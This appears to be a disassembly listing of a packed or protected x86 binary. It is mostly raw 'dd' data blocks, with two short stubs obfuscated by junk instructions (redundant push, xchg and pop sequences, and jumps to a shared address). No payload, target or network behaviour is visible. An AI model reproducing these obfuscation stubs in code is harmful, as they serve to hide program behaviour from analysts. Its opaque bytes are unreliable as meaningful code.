		dd 10E9DB33h, 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h
		dd 0B49D3D3h, 0E8850FC9h, 8BFFFFFFh, 5B595EC3h,	0A1BB60C3h
		dd 0B0763AB7h, 11E901h,	32AC0000h, 0D1C32AC3h, 0D20BAACBh
		dd 1840Fh, 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h
		dd 61FFFFFFh, 0D88C66C3h, 840F04A8h, 29h, 37E485C7h, 106ACh
		dd 0F500000h, 0FE244C01h, 37E8858Fh, 858D06ACh,	6AC37E0h
		dd 37E8BD8Dh, 388906ACh, 23E9h,	11858D00h, 8B06A916h, 17053840h
		dd 899B46F3h, 0AC37E085h, 11858D06h, 8B06A916h,	85893C40h
		dd 6AC37E4h, 37FD858Dh,	858906ACh, 6A916DDh, 87E9h, 0D48B5200h
		dd 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	33535156h
		dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h,	34980400h
		dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h
		dd 8C25Ah, 3A70858Dh, 858906ACh, 6A911ADh, 3A98858Dh, 858906ACh
		dd 6A92191h, 3AC0858Dh,	858906ACh, 6A90499h, 0FE8h, 81AA000h
		dd 54DCF61h, 59DC088Fh,	40CD0988h, 0F38E0BAh, 0E88A5E24h
		dd 5AAAC681h, 12E90000h, 0AF000000h, 5624D6B4h,	86B28B85h
		dd 0F56EEF38h, 2AA9D1EEh, 1678B8F1h, 8B660000h,	0E81E8BC8h
		dd 0Bh,	0D1015957h, 0B3A39FAh, 80B58F68h, 8159A4DAh, 0B1A867C3h
		dd 815EB632h, 0ADB2BCEBh, 0C381F822h, 4F09967Bh, 53FB8B66h
		dd 0A6D6DA81h, 68F641Fh, 168E0Fh, 0E9600000h, 0Eh, 4180ACFCh
		dd 3DDF4A3h, 34C62E36h,	61F583ECh, 4804EE83h, 0E850Fh
		dd 0BF0F0000h, 2DE9D3h,	0A36D0000h, 312039C0h, 0CE9h, 11454F00h
		dd 59CAAF63h, 3637E17Eh, 0FF7FE98Ah, 25E1FFFFh,	3AD3B1A7h
		dd 3C9EA90Dh, 0F9FC9411h, 60C59F6Eh, 0C08BCE8Bh, 0CE9h
		dd 6F481700h, 219241C1h, 0EC0518C8h, 1DBD8342h,	6A913h
		dd 0BD830975h, 6A91431h, 50197400h, 0B8C08B53h,	40Eh, 24458589h
		dd 9D8D06A9h, 6ABB45Ch,	585BD3FFh, 1431BD83h, 740006A9h
		dd 0B8535017h, 40Eh, 24458589h,	9D8D06A9h, 6ABB14Bh, 585BD3FFh
		dd 952BDEB9h, 60C08B27h, 8DBA66F5h, 0BD83619Bh,	6A927E9h
		dd 37840F00h, 0E8000000h, 8, 808BA33Eh,	0D8131D36h, 7E9h
		dd 0F7BEDE00h, 4A8C12A3h, 2E0E95Eh, 13E90000h, 32000000h
		dd 5C16E28Dh, 1A05167Dh, 5E6F3F3Bh, 70E8AF3h, 0DF8C852Eh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0EEC35545h
		dd 0F12AA9D1h, 0D78B66A1h, 0D68BCE8Bh, 4C7F766h, 93850F00h
		dd 0E8000002h, 0Ah, 0AA89CD48h,	7AF4CAA0h, 8166719Fh, 5A4580D2h
		dd 2E71BD83h, 0F0006A9h, 4185h,	0EE900h, 5F820000h, 59E1C850h
		dd 0C53FB1DBh, 9CE7BBF3h, 259E9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 667BBBE7h
		dd 166DDE81h, 6251C181h, 0BF0500h, 8D000000h, 0AC3F1B9Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 8347DA9Bh, 1EC18151h, 0F764796h,	1186h
		dd 9E85300h, 81000000h,	0E46BD310h, 91E110DFh, 0E8935E5Eh
		dd 5, 994A9509h, 61606057h, 310F5250h, 5A61585Ah, 0EE819350h
		dd 18990F13h, 8E9h, 0AE34B800h,	78C05C0Bh, 35FF64F0h, 0
		dd 14E9h, 0A735F300h, 641D2181h, 0DFCAAD6Fh, 0F81A3066h
		dd 317E29DCh, 2589641Bh, 0
		dd 8BF1B70Fh, 57006AC4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0D38AF9F5h, 0EB01CDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0ECC35646h, 98BC1602h
		dd 0F38B66FBh, 11E9F560h, 0C5000000h, 0C0A5CE12h, 9E6DCA2Bh
		dd 7C13D98h, 0A6960EEBh, 38D0F61h, 80000000h, 8F64C2D9h
		dd 5, 1AB96600h, 4C48313h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 65C35646h, 0B04454AAh, 66AE4EDAh, 0F9C20BAh
		dd 1E8Dh, 0AE800h, 0E3630000h, 0B3D3F837h, 0A552FAF0h
		dd 9E9h, 0FB4D600h, 0C8AFF110h,	0B5922A6h, 0C7840FC0h
		dd 81000000h, 0EB62EFEEh, 0E960604Fh, 8, 875F4F21h, 59330057h
		dd 79DE8161h, 611C08CFh, 11E961h, 118A0000h, 6D5379FAh
		dd 0F9ACC38Dh, 0F6D8293Eh, 8DAE9993h, 0A97222BDh, 0B8CB8B06h
		dd 1, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h, 16h
		dd 59C35646h, 13E943F4h, 0D6000000h, 974AF39Eh,	3704BAB2h
		dd 0CC146BE3h, 18F77DAFh, 0E7FFE43Ah, 245C8B57h, 0B8838B10h
		dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h
		dd 335F0200h, 6AC3C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 860F31C3h, 4, 0F1D3BA66h, 0F300D181h
		dd 66612BFFh, 46D6C181h, 0DE81C08Bh, 6DE549C1h,	131DBD83h
		dd 750006A9h, 31BD8309h, 6A914h, 53501974h, 0EB8C08Bh
		dd 89000004h, 0A9020985h, 0C39D8D06h, 0FF06ABB4h, 83585BD3h
		dd 0A91431BDh, 17740006h, 0EB85350h, 89000004h,	0A9020985h
		dd 649D8D06h, 0FF06ABB1h, 6A585BD3h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0FD3C356h
		dd 0CB8BF2B7h, 6AC08Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 67C770C3h, 0CDBA80FBh, 8B76BFC9h
		dd 8EBC2h, 0
		dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 0A912AD85h
		dd 6C858D06h, 8B06AC8Fh, 888B08h, 8B000010h, 4A8B660Ah
		dd 128D89FCh, 8306AC40h, 0A92E71BDh, 840F0006h,	0Fh, 0FF006A60h
		dd 0A92D9595h, 0C4E96106h, 66FFFFFFh, 0C1FC7289h, 896610CEh
		dd 0CD520272h, 85895A04h, 6AC400Eh, 4012B58Bh, 0CEC106ACh
		dd 72896610h, 12B58B02h, 6606AC40h, 61FC7289h, 400E858Bh
		dd 8DC306ACh, 0A92A9995h, 79958906h, 8906A91Ah,	0A9111195h
		dd 1185FF06h, 0C606A911h, 0A916B185h, 0D8685306h, 0FFFCB148h
		dd 0A90155B5h, 26858D06h, 0FF06A93Ch, 958589D0h, 8D06A92Dh
		dd 0AC381785h, 7D858906h, 0E906A905h, 51h, 24748B60h, 3C760324h
		dd 28247C8Bh, 0C281D68Bh, 0F8h,	64E8B66h, 83C9B70Fh, 840F00F9h
		dd 16h,	0F0C7A3Bh, 158Fh, 28EA8300h, 8B0C428Bh,	0C12B144Ah
		dd 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh
		dd 0FFFFE9E9h, 0FD3EBAFFh, 0EB0009h, 624E9h, 618E900h
		dd 0C680000h, 0E906AC42h, 0FFFD3E91h, 0AC437468h, 3E87E906h
		dd 0E68FFFDh, 0E906AC44h, 0FFFD3E7Dh, 0AC44EF68h, 3E73E906h
		dd 0F368FFFDh, 0E906AC45h, 0FFFD3E69h, 0D9D60EA6h, 67649633h
		dd 0EDEA28C1h, 7A77A947h, 9063AD4h, 8A2456CEh, 17B35956h
		dd 0A742E8E5h, 2BCA706Dh, 12A6FCF9h, 0F7D47284h, 9DBB2EF5h
		dd 0A415952Dh, 15579FFCh, 0E60DFCA4h, 7EFCA415h, 0FCA41544h
		dd 0A415D1F0h, 156161FCh, 0C9F97CA4h, 36079527h, 92727F11h
		dd 0F8670FEh, 611275FBh, 0FB541CFh, 32E375FBh, 0CE69F183h
		dd 9AE59794h, 0C0EAAA9Fh, 0D5EA76Bh, 287950F3h,	0DA850B2h
		dd 0E8DA40D3h, 5DE87608h, 0B96BD5BEh, 0F1859108h, 4FE40908h
		dd 4B22Eh, 6DA73F00h, 0F72DCA70h, 89BB54FAh, 1448E68Ch
		dd 9DD77117h, 0BBBF65A0h, 4CF2EF21h, 0D97F7CB0h, 6107043Eh
		dd 3D9390C2h, 0D3DB1BA9h, 52C5F5F7h, 0F8DC2734h, 366A043Eh
		dd 2EABF4A3h, 4F851E59h, 0FC5E0DBCh, 0E7E9B554h, 8F6E14BEh
		dd 0DC8BC15Eh, 0B30E9A2Dh, 0D2FCA318h, 0D81EAC40h, 0C8FCA318h
		dd 0E450B517h, 0D5D204A3h, 0CC5E902Fh, 184CAA38h, 9B4CFCA3h
		dd 5FFE8439h, 73059A2Dh, 8D2052EBh, 0AD177CDEh,	9C99CB6Ah
		dd 0B8027979h, 3E31CA6h, 33DC0000h, 5F17F94h, 93FCA416h
		dd 24099E2h, 0BB28DC0Dh, 0D4ED790Ch, 0DCFCA3CDh, 4BEA2D97h
		dd 32C61C19h, 7A7C0A9Eh, 35FCA3CDh, 0AFF8B153h,	73247C3Ah
		dd 81936311h, 5C0DFCA3h, 9FA843C9h, 0EE37CA04h,	0FC4089FDh
		dd 0C1701FD6h, 16C712C4h, 0EB835B58h, 0CCE11D66h, 0C0455BAEh
		dd 0E517B65Eh, 9D38C052h, 0BF21D063h, 0D0628837h, 0E275AF48h
		dd 0DF8EC25Ch, 19B85E7Dh, 32CE54E7h, 46D468FAh,	0FCA363B0h
		dd 0BEDD3FF0h, 0CEA780Ch, 8CFCA364h, 0F7CB79DBh, 43FCA363h
		dd 5BE375A7h, 48F78ABCh, 0D0988FFFh, 93F55236h,	26C44CDEh
		dd 4EB05FF2h, 62F4FCC6h, 4AAC3ACEh, 1CFCA3D6h, 0A3D6688Eh
		dd 2F8738FCh, 7F6E1C7Eh, 1FF27EE9h, 0A87DF76Eh,	0AB408FA1h
		dd 34A8Ah, 0D50FA700h, 5F9532D8h, 0F123BC62h, 7CB04EF4h
		dd 53FD97Fh, 2357CD08h,	0B45A5789h, 41E7E418h, 0C96F6CA6h
		dd 0A5FBF82Ah, 0D2738311h, 0BA2DF5F7h, 6294339Ch, 95AA49CFh
		dd 0A415EF07h, 49F8A9FCh, 899430B6h, 906B5EFh, 0A417255Dh
		dd 0E48109FCh, 0B4D21BAEh, 4FE4D175h, 7C2A8C3Bh, 0FCA3ED46h
		dd 912458F4h, 0A3EDBD05h, 0F4259DFCh, 4B942759h, 4B4C3743h
		dd 7221D008h, 38BE4CE0h, 68FCA3A1h, 13A155B7h, 0F27EBBDAh
		dd 61932EB6h, 0F9701FCEh, 8FA1DA09h, 0B082A338h, 41000002h
		dd 0C86E6BA9h, 56FCF92Bh, 0E48A87BDh, 6F151246h, 639E9BD5h
		dd 0E51FB9C1h, 6EA642E8h, 0FE30CB71h, 8ABC5B01h, 15A3378Dh
		dd 0F5F7D1E1h, 332E4CBFh, 49CF6294h, 50E578AAh,	0C160A70Dh
		dd 836F928Fh, 0BEA6B8FFh, 79CD9D36h, 0AB6506C7h, 51009342h
		dd 21B8FEFh, 274F0000h,	40720B93h, 8472FEADh, 14FCA415h
		dd 0E44DD63h, 15C4FEACh, 0DB76FCA4h, 6BFE36D2h,	5A9C2ABCh
		dd 46FCA415h, 43E9E695h, 99E476A8h, 0B5DE9F91h,	7B309226h
		dd 95285AF5h, 1077BD00h, 1B3E3B75h, 0A6B87BD7h,	6FBEh
		dd 6F537E00h, 0C867EF81h, 80760496h, 20FCA415h,	0CB590D6Fh
		dd 0F27F25FAh, 746C10Ch, 0EE376D06h, 0FC5E8F79h, 41B93782h
		dd 5938D2D6h, 98A47910h, 43F2BE39h, 0A1232CCCh,	4B6C018Fh
		dd 1CFh, 4D4A8A22h, 0DBD80AA7h,	69669C35h, 0F6F325C3h
		dd 7D7AB650h, 0FE98E242h, 831FC5C2h, 13AE5451h,	9F3EE4E1h
		dd 861A706Dh, 0F7D1FEF8h, 9279AF5h, 8D61EF83h, 0BFCA415h
		dd 3B2E483h, 1250E971h,	0DA75FBB0h, 6605ABA8h, 843BA134h
		dd 28C36966h, 0B453F9F6h, 0F8410DABh, 1C3B7541h, 0F9A83BEAh
		dd 9531B74Ah, 780C625Fh, 0A3A10CEAh, 49DB8CFCh,	5BEE24C1h
		dd 0F954AACh, 0B93F3C76h, 0C94FE204h, 49F5F230h, 0FCA3A079h
		dd 7D0FE1E1h, 8DC761E9h, 3BE94BFAh, 0F27E9F66h,	0B1E38008h
		dd 930D6F1Eh, 29C850E2h, 4DE195F7h, 0A1CB2BB9h,	41D5F5FAh
		dd 0FAA143B3h, 0FDAC5DF5h, 4D56F39Bh, 3AE97CAEh, 5C752FF1h
		dd 0C3724B91h, 518320C6h, 639D38BEh, 9DAE49D1h,	8F3ED103h
		dd 43C97EE0h, 50E275A7h, 91C82EBCh, 27D8F5FAh, 4E841DC5h
		dd 836D55BBh, 0A04663F1h, 0A152EBD5h, 81D542Ah,	9FC05589h
		dd 0CBh, 59568E26h, 0E7E416B3h,	6D6AA841h, 0FAF729C7h
		dd 8986BA54h, 0AA4D64Eh, 9733D9D6h, 27C26865h, 0AB4AF0EDh
		dd 92267C79h, 0F7D0F204h, 1D3BAEF5h, 0CF629433h, 0E578AA49h
		dd 60A70D50h, 6F928FC1h, 0A6B8FF83h, 8C9936BEh,	7F2EC1F3h
		dd 3A0E6ED0h, 5A000000h, 882538D2h, 7E10A352h, 0A40A06F0h
		dd 32E192FCh, 942D90D0h, 0A6FCA415h, 0BB43D507h, 7D79071Ch
		dd 1BFCA415h, 7928BB6Ah, 26B7F817h, 5000000h, 0FF782BAh
		dd 57B9FCF2h, 15952D17h, 6A5FCA4h, 9125D7D4h, 15876FFDh
		dd 6011FCA4h, 0A41622D4h, 6BCD7EFCh, 0B9DC272Bh, 0B52A002Bh
		dd 164D7937h, 0DE8D4C1Eh, 99ADC47Ch, 0Bh, 4D2E790Dh, 35E0F0D3h
		dd 331959BBh, 50D6699Bh, 66EC7FB1h, 800699CBh, 971DB0E4h
		dd 0AA30C3FDh, 0BB41D410h, 0D258EB1Dh, 0E268FB39h, 2A7C0F45h
		dd 59DF68h, 243C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	396Ah
		mov	[esp], esi
		mov	esi, 6AC4173h
		mov	ecx, esi
		pop	esi
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 8
		add	edx, eax
		push	ecx
		pop	dword ptr [edx]
		pop	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_54F8A1
; ---------------------------------------------------------------------------
		db 46h,	0BDh, 61h
		dd 15AD506Ah, 0E3B86F45h, 306AC46h, 0EBD18BC5h,	20h, 7 dup(0)
		dd 55CE900h, 50E90000h,	68000005h, 6AC48E7h, 0FD3844E9h
		dd 498D68FFh, 3AE906ACh, 68FFFD38h, 6AC4B6Fh, 0FD3830E9h
		dd 4BFD68FFh, 26E906ACh, 0E9FFFD38h, 70161351h,	0FEA4A1D3h
		dd 8C322F65h, 17BDBAEEh, 0B46437Dh, 8DC76119h, 164EEA90h
		dd 0A6D87319h, 326403A9h, 0BD4BDF35h, 0F5F7CF39h, 27D6F467h
		dd 15F10593h, 0FEAFFCA4h, 14A7D978h, 0C25B0365h, 206BFD90h
		dd 0FF93E8CEh, 9240A2DFh, 7CA37430h, 0A4376D0Ah, 0D574811Eh
		dd 0B26110A3h, 0FD478A1Fh, 85EF5271h, 0B86B2DC5h, 276826h
		dd 27280000h, 3BCE009Fh, 15DB1BA9h, 14C5FCA4h, 6C550365h
		dd 0EEFCA415h, 0FC8A1CD4h, 0F2705E46h, 33747122h, 1Bh
		dd 15952DF5h, 0FDC5FCA4h, 3FD961F3h, 0ACE67F05h, 3A08964Ah
		dd 2EF2705Eh, 3342807Dh, 49D5689Ah, 7CA41576h, 0F1569E01h
		dd 971D1A58h, 0A02EC026h, 7CA42622h, 0EF25BE46h, 8827AD40h
		dd 9E3CC456h, 0C628D76Ah, 4FA121A7h, 35DE2FBDh,	893A727Fh
		dd 42D064F6h, 834D18B4h, 13A133E4h, 834D18E3h, 0FCAA0CBDh
		dd 834D18C6h, 4E0C78DBh, 2D6206A4h, 5DF1h, 6F53B100h, 7A61EF81h
		dd 1EF27055h, 0B453DB6Dh, 40DF8582h, 0A1F76874h, 2EDDEC06h
		dd 0A403FEB7h, 728BD8Fh, 34Eh, 4542821Ah, 0D3D0029Fh, 615E942Dh
		dd 0EEEB1DBBh, 7572AE48h, 0F690EA3Ah, 7B17BDBAh, 0BA64C49h
		dd 9736DCD9h, 7E126865h, 0F7CE06F0h, 11F92F5h, 31998h
		dd 9F275A00h, 8F3ED103h, 15876FFDh, 6011FCA4h, 87BD56FEh
		dd 155A68F4h, 68DAFCA4h, 0CCFCA417h, 0FCA41627h, 0A415833Fh
		dd 1511B1FCh, 9F23FCA4h, 0BB3CA415h, 3F751207h,	0BD7C90F6h
		dd 0BBA495Bh, 0DB77EB79h, 40F1326Fh, 241863AEh,	7D98A651h
		dd 0C200661Bh, 0BD089C2Eh, 0F58CFDFFh, 0A654B6FDh, 2BD3BB9Fh
		dd 0E8D74EFFh, 0D3490AE9h, 2A81D3Eh, 28C00000h,	0AC49EFECh
		dd 3AD37976h, 0C7650B08h, 58F29895h, 40E41F1Ch,	6764A03Ah
		dd 0F2EF25C1h, 827FB14Ch, 0E0B3DDCh, 609624B8h,	40F5F7CCh
		dd 0DC27AFCDh, 35E2ECh,	0DD85E776h, 13790C3Eh, 21AF41AFh
		dd 0F26F9B35h, 0FB5B263h, 993F3C76h, 9C30C200h,	0B8447814h
		dd 0F5F7913Eh, 0BB60A95Ah, 0BCF0619h, 0DF45FA5Ch, 0ED7B0DE3h
		dd 0EBC3E961h, 4F913A85h, 83CC069Fh, 60C2BDDFh,	58A335E6h
		dd 0E3688B29h, 4766C81Fh, 0A3D4279Bh, 618F33FCh, 1D1941CFh
		dd 0C74FF270h, 0B05FF22Ch, 48E76F01h, 0D4731916h, 0E97D0FA2h
		dd 0FA8DC761h, 1037BF4Bh, 0B061F5F8h, 0F52A04Eh, 7A48F5F8h
		dd 0CC6585DCh, 0E8718808h, 0BE0D25EFh, 0C2E42DDCh, 641B0F6Bh
		dd 2FBD4FFEh, 0EBC3950Fh, 3647E169h, 9B8679Dh, 1E50EF77h
		dd 0D3DC7B21h, 0C4730638h, 68F08215h, 560598CCh, 0ADBF600Dh
		dd 0E0423BE3h, 0A38FC032h, 0E808BAFCh, 0FF35CE56h, 0DDB7B0B6h
		dd 0AC0E1427h, 42D064F8h, 0FCA3A3B4h, 23D133E4h, 0F26FEC2Bh
		dd 0B41DD65h, 0A342CA5Ch, 2FCE7471h, 53271663h,	2CDB3748h
		dd 618F3399h, 0E0141CFh, 0B667EBC4h, 6C099123h,	821DA336h
		dd 9858A150h, 3443F9E2h, 0A81AC82Ah, 0F9FCA3B9h, 92DD2E96h
		dd 0A8367792h, 0FCA3414Eh, 8350994Ah, 2146A8D4h, 0A6B846D1h
		dd 2FC4h, 952D8400h, 99FCA42Ah,	9FCBF24Eh, 0DB69326Dh
		dd 0FCA3771Bh, 0C325D485h, 1980h, 0A946CE00h, 0BB5AE073h
		dd 0BA48DA89h, 0FCA3763Ch, 949AB5Ch, 0A42B952Dh, 6F530DFCh
		dd 81A4EF81h, 13F0C8CCh, 9725D93Bh, 0F26FDFBFh,	0EAA294DFh
		dd 52D26EFh, 0E67829A3h, 2A8CC05Eh, 3DB30F75h, 0C3A81DABh
		dd 47F8EBD2h, 0DCBEBD0h, 0C2DC289h, 0C6h, 0CDCA0AA2h, 5B588A27h
		dd 0E9E61CB5h, 7673A543h, 0FDFA36D0h, 7E1862C2h, 39F4542h
		dd 932ED4D1h, 1FBE6461h, 69AF0EDh, 0F7CA7E78h, 89A71AF5h
		dd 0EF816F53h, 0A63FC75Bh, 9E2AD96Ch, 0FCA41558h, 87359748h
		dd 0F2705DCFh, 49AD3BCFh, 57F5F7CEh, 0CEC135C3h, 2EDFF5F7h
		dd 0F2A31D7Fh, 53FD860h, 0C85CEEA3h, 0E571A340h, 0F5F7CF11h
		dd 0F47CDE8Fh, 29022CEh, 0EBD2F69Fh, 9165F387h,	0FFC9EA8h
		dd 9D38AF5Eh, 20890DFFh, 386A8Bh, 98300000h, 1CB95F5Ch
		dd 0AA43E9E6h, 37D57B78h, 0C8620805h, 0D0548F8Ch, 0D7D410AAh
		dd 625F9531h, 0F2EF21BCh, 7E7BAD4Ch, 0F0069428h, 0B0F5F7CAh
		dd 3981F3Dh, 5A000000h,	9B332D4Dh, 0B150D669h, 0CB66EC7Fh
		dd 0E4800699h, 0FD971DB0h, 10AA30C3h, 1DBB41D4h, 39D258EBh
		dd 45E268FBh, 572A7C0Fh, 0C7815F54h, 4,	8704EF83h, 535C243Ch
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h,	0E3895324h
		dd 4C381h, 0EB830000h, 241C8704h, 2434895Ch, 0AC47B668h
		dd 240C8B06h, 5404C483h, 8124348Bh, 4C4h, 2F436800h, 0C890000h
		dd 8468F24h
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_54F8A1
; ---------------------------------------------------------------------------
		dw 77F0h
		dd 3A957964h, 0B87C9AFFh, 6AC4C5Ah, 0C88BC503h,	15CE9h
		dd 5D172600h, 95ECE72Ah, 715893DAh, 0B6CFDF06h,	5D54FDBEh
		dd 0ECA43636h, 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h
		dd 77CB50C1h, 0ACAC3252h, 46BF009Ch, 90ADFC6Ch,	0A3365973h
		dd 72E275D6h, 90BD9Ch, 8CE693DDh, 0A592A79Bh, 0A7ABDD64h
		dd 918F9792h, 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh, 0E592B69Fh
		dd 0BDF694B6h, 0B3EBB59Eh, 93D0EC96h, 97BF999Ch, 0F55CFD7Bh
		dd 0AFF49389h, 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h, 622D4457h
		dd 0AE29B0F3h, 38h, 3Ch, 40h, 2	dup(0)
		dd 4, 94h, 5, 1, 0A28h,	2, 28h dup(0)
		dd 1FA0E900h, 0C2680000h, 0E906AC50h, 0FFFD3185h, 0AC519D68h
		dd 317BE906h, 9868FFFDh, 0E906AC52h, 0FFFD3171h, 0AC535F68h
		dd 3167E906h, 2B68FFFDh, 0E906AC54h, 0FFFD315Dh, 0AC54B368h
		dd 3153E906h, 5868FFFDh, 0E906AC55h, 0FFFD3149h, 0AC560B68h
		dd 313FE906h, 0D868FFFDh, 0E906AC59h, 0FFFD3135h, 0AC5A6068h
		dd 312BE906h, 6C68FFFDh, 0E906AC5Bh, 0FFFD3121h, 0AC5EA468h
		dd 3117E906h, 0F468FFFDh, 0E906AC61h, 0FFFD310Dh, 0AC658B68h
		dd 3103E906h, 668FFFDh,	0E906AC67h, 0FFFD30F9h,	0AC675968h
		dd 30EFE906h, 0BA68FFFDh, 0E906AC67h, 0FFFD30E5h, 0AC680E68h
		dd 30DBE906h, 6268FFFDh, 0E906AC69h, 0FFFD30D1h, 0AC6A7C68h
		dd 30C7E906h, 6F68FFFDh, 0E906AC6Ch, 0FFFD30BDh, 7D7ABA52h
		dd 0B083AD7h, 9996CC65h, 262355F3h, 0ADAAE680h,	2EC8B272h
		dd 0B34FF5F2h, 43DE8481h, 0CF6E1411h, 0B64AA09Dh, 0F7C6CE28h
		dd 3957CAF5h, 0F17F9433h, 0FCA41605h, 162BCB59h, 0C475FCA4h
		dd 790CBB6Ch, 0B13F54F3h, 0FCA41545h, 821CA253h, 0C20D9F4Eh
		dd 0F641D144h, 0EB870DC8h, 0B23857B9h, 876FFD10h, 11FCA34Fh
		dd 0B640CE60h, 0E2FCA34Fh, 62F08231h, 0F27E5E7Bh, 0FDF9871Bh
		dd 9BF5FA40h, 16A83BEAh, 8E07FCBh, 2C8EA4FDh, 0FA4D447Eh
		dd 0B2FA5DF5h, 0F3B22D0h, 4A73A0h, 37BF0000h, 0C101639Dh
		dd 0EAA6F53h, 79527D6h,	0F27F238Ah, 79B2DDEh, 0FB017D79h
		dd 86A1BF5h, 9F2DC153h,	0F5FB0157h, 802E9041h, 0F5FB0142h
		dd 43B0FC5Fh, 0E9FEA8F8h, 1E805F99h, 0F32F9F9h,	1099CA0h
		dd 60E80000h, 0EF2F91C3h, 0F18B9433h, 0CE7D2CBFh, 0E91BB53Bh
		dd 0FF31D056h, 0B76A226Dh, 2B926627h, 0A3ECB225h, 0F5573174h
		dd 8A26AE40h, 0AE10BF52h, 38356706h, 0D3573B86h, 0F0F80B20h
		dd 0AED3E08Eh, 0FA99FCA3h, 0FAE36C8h, 39BD4BDDh, 67FCA3B5h
		dd 8F3554B6h, 134DE7F0h, 8F22D180h, 0C5579929h,	7ED27E37h
		dd 0ECE99AF2h, 2945C66h, 0AA4CDA6Eh, 0F6F5FAD0h, 0D03DB945h
		dd 0AA5BF5FAh, 6BBD1E61h, 86E83501h, 0B5F33ED2h, 9ECDD21Eh
		dd 5C42F052h, 3CEBC738h, 36E517B4h, 9C6F59A4h, 20B0FBBCh
		dd 0EE760ABEh, 0F0458151h, 27030042h, 0D436E578h, 615E922Ch
		dd 78EF21BBh, 890AD5FEh, 6F092ABFh, 0F500001Ch,	842A275Dh
		dd 12B8B5E7h, 983E3B79h, 23C9C6FAh, 1F5A5789h, 0A9DB7505h
		dd 326A06ACh, 0BAF48F35h, 467817BDh, 0D15FF349h, 0F5F7C625h
		dd 33E20073h, 0C46A6799h, 44F6F325h, 57EA1EBCh,	15BF37C5h
		dd 28D9FCA4h, 53D71779h, 61EF816Fh, 0F27F2330h,	20D664F8h
		dd 80F5FB02h, 95285CF8h, 0F58837E6h, 0FB015969h, 9FE548F5h
		dd 0FEB37BBh, 0E6820AA0h, 0A6C1BAEh, 9AAAh, 9F276A00h
		dd 0C66ED002h, 0DC62F527h, 0EF7B0E42h, 0FCA413C4h, 0DCD90BAAh
		dd 0D2659736h, 89A566Ch, 4DAFE180h, 2FAA0B99h, 0B43CF27Fh
		dd 680E216h, 0F0D25855h, 42A73266h, 3B2770A4h, 4DDF8E81h
		dd 0C6F6ECBFh, 6DFFB0EBh, 83164CE5h, 36BE72D4h,	0C56B689Ch
		dd 0FE82F92Bh, 0BF890AE4h, 1B94092Ah, 38D00000h, 0BC59FFFCh
		dd 4AE38986h, 0D7751B18h, 6802A8A5h, 30F42F2Ch,	7774B04Ah
		dd 2FF35D1h, 928FC15Ch,	1E1B4DECh, 50A634C8h, 50F5F7C4h
		dd 9933BFDDh, 25C46A67h, 33B8F6F3h, 3CD06294h, 0A41548AEh
		dd 0D1B267FCh, 0DB4240FFh, 0BB70D283h, 67649635h, 0D6EC3897h
		dd 0E578AA43h, 6DF58736h, 0F42EC7D4h, 7003B261h, 2E6C78C1h
		dd 0B58656A5h, 119F53h,	48F27E2Eh, 0DDE18F97h, 2D316893h
		dd 0B9EB8495h, 8A2D780Ah, 41ABB712h, 0DA681C7Eh, 3857C6CBh
		dd 0CF12671h, 97E9743Ch, 770ABB35h, 6B0651E5h, 0F1B4A631h
		dd 0F56F8713h, 0DE294015h, 0A89E2F53h, 0FE600FC0h, 12A44C76h
		dd 2D58337Eh, 0E04C09F1h, 92C8D07Eh, 0E39435F0h, 5E2AC951h
		dd 61925D4h, 413EED1Eh,	336D078Fh, 0E78FF1A0h, 51A53348h
		dd 4F427C8Ah, 0E44F559Eh, 4D16A63Ch, 0E153279Eh, 0C55A332Fh
		dd 1A99A4h, 133CB00h, 8BC15E04h, 154FE88Eh, 0A0D47218h
		dd 3163FDA3h, 4F2BF934h, 0D87E7BB5h, 650B083Ch,	0F59B98CAh
		dd 0D1272456h, 0C347AF3Dh, 0DE51F5F7h, 629433C0h, 975969CFh
		dd 26CE7705h, 792AF27Fh, 0FD27AC7Ch, 5992BC5h, 194BE971h
